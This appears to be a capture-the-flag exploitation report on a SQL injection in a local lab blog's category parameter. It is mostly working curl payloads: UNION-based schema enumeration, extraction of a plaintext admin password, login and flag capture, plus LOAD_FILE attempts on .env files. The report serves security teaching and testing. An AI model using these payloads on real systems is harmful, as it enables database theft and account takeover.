# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: SQL Injection in Category Filter Parameter

**Summary:**
- **Vulnerable location:** GET parameter `category` in `/index.php`
- **Overview:** Classic SQL injection vulnerability with zero sanitization allowing complete database access and authentication bypass
- **Impact:** Complete database compromise achieved - extracted all user credentials (including plaintext admin password), enumerated database schema, bypassed authentication, and captured CTF flag
- **Severity:** Critical

**Prerequisites:** None - vulnerability is publicly accessible without authentication

**Exploitation Steps:**

**Step 1: Confirm SQL Injection Vulnerability**

Test with single quote to trigger SQL error:
```bash
curl -s "http://localhost:34389/index.php?category='"
```

Response shows MySQL syntax error:
```
Error in query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' ORDER BY created_at DESC' at line 1
```

**Step 2: Verify Boolean-Based Injection**

Test with boolean logic to confirm exploitability:
```bash
curl -s "http://localhost:34389/index.php?category=%27%20OR%201%3D1--%20-"
```

Result: All blog posts returned (90 lines vs 85 for normal request), confirming successful SQL injection.

**Step 3: Determine Column Count**

Use ORDER BY technique to identify number of columns in SELECT statement:
```bash
# Test with 7 columns (successful - no error)
curl -s "http://localhost:34389/index.php?category=%27%20ORDER%20BY%207--%20-"

# Test with 8 columns (fails with error)
curl -s "http://localhost:34389/index.php?category=%27%20ORDER%20BY%208--%20-"
```

Error message confirms 7 columns:
```
Error in query: Unknown column '8' in 'order clause'
```

**Step 4: Identify Injectable Columns**

Test UNION SELECT to determine which columns are displayed in output:
```bash
curl -s "http://localhost:34389/index.php?category=%27%20UNION%20SELECT%201,2,3,4,5,6,7--%20-"
```

Result: Column 2 appears in `<h2>` tag (title field), column 3 in category field, column 4 in content field - multiple output points available for data extraction.

**Step 5: Fingerprint Database Environment**

Extract database version, current database name, and user:
```bash
curl -s "http://localhost:34389/index.php?category=%27%20UNION%20SELECT%201,VERSION(),DATABASE(),USER(),5,6,7--%20-"
```

Extracted Information:
- **Database Version:** MySQL 5.7.44
- **Database Name:** blogDB
- **Current User:** user@10.89.23.3

**Step 6: Enumerate Database Schema**

List all tables in current database:
```bash
curl -s "http://localhost:34389/index.php?category=%27%20UNION%20SELECT%201,GROUP_CONCAT(table_name),3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema=DATABASE()--%20-"
```

Discovered Tables:
- comments
- posts
- users

**Step 7: Enumerate Users Table Schema**

Extract column names from the users table:
```bash
curl -s "http://localhost:34389/index.php?category=%27%20UNION%20SELECT%201,GROUP_CONCAT(column_name),3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_name='users'--%20-"
```

Users Table Columns:
- id
- username  
- password

**Step 8: Extract Admin Credentials**

Extract username and password from users table:
```bash
curl -s "http://localhost:34389/index.php?category=%27%20UNION%20SELECT%201,CONCAT(username,'%3A',password),3,4,5,6,7%20FROM%20users--%20-"
```

Extracted Credentials:
```
Username: admin
Password: ONEverySecurePassword123!
```

**Critical Finding:** Password stored in plaintext (no hashing) - massive security failure.

**Step 9: Authenticate to Admin Panel**

Use extracted credentials to authenticate:
```bash
curl -s -c /tmp/cookies.txt -d "username=admin&password=ONEverySecurePassword123!" http://localhost:34389/admin.php
```

**Step 10: Capture the Flag**

Upon successful authentication, the admin page immediately displays the flag:

```
FLAG{fdf0b671598225918361b7274eed49fdcd7d8521965b325b989f690b7191c6be}
```

Session-based access also confirmed:
```bash
curl -s -b /tmp/cookies.txt http://localhost:34389/admin.php
```

Result: Flag displayed without re-authentication, confirming persistent session.

**Proof of Impact:**

**1. CTF Flag Captured:**
```
FLAG{fdf0b671598225918361b7274eed49fdcd7d8521965b325b989f690b7191c6be}
```

**2. Complete Database Compromise:**
- Full access to all database tables (comments, posts, users)
- Extracted plaintext administrator credentials
- Enumerated complete database schema
- Capability to read, modify, or delete any data

**3. Authentication Bypass:**
- Gained unauthorized admin access without legitimate credentials
- Bypassed authentication through SQL injection → credential extraction → login
- Established persistent authenticated session

**4. Additional Attack Vectors Identified:**
- Stored XSS possible through database poisoning (no output encoding)
- Access to unpublished posts (1 post with published=0 flag exists)
- Potential for complete data exfiltration or manipulation

**Notes:**

**Technical Details:**
- **Vulnerable Query Structure:** `SELECT * FROM posts WHERE published = 1 and category = '[INJECTION]' ORDER BY created_at DESC`
- **Injection Context:** SQL-val (string value within single quotes)
- **Sanitization:** Zero sanitization applied - direct string concatenation
- **Error Display:** Enabled (display_errors=On), exposing full MySQL error messages
- **WAF/Filtering:** None detected

**Why This Vulnerability Exists:**
The application uses direct string concatenation to build SQL queries instead of prepared statements with parameterized queries. User input from the `category` GET parameter (line 37 of index.php) flows directly into the SQL query string (line 45) without any escaping or validation, creating a textbook SQL injection vulnerability.

**Attempted File System Access:**
Multiple attempts were made to read flag files directly from the file system using MySQL's LOAD_FILE() function:
- `/flag.txt` - Failed (empty result)
- `/app/flag.txt` - Failed (empty result)  
- `/var/www/html/.env` - Failed (empty result)
- `/.env` - Failed (empty result)
- `/FLAG.txt` - Failed (empty result)

This indicates the MySQL user account lacks FILE privilege, preventing direct file system access through SQL injection. However, this limitation was bypassed by extracting credentials and authenticating normally.

**Reproducibility:** 100% - Vulnerability confirmed across multiple test runs with consistent results.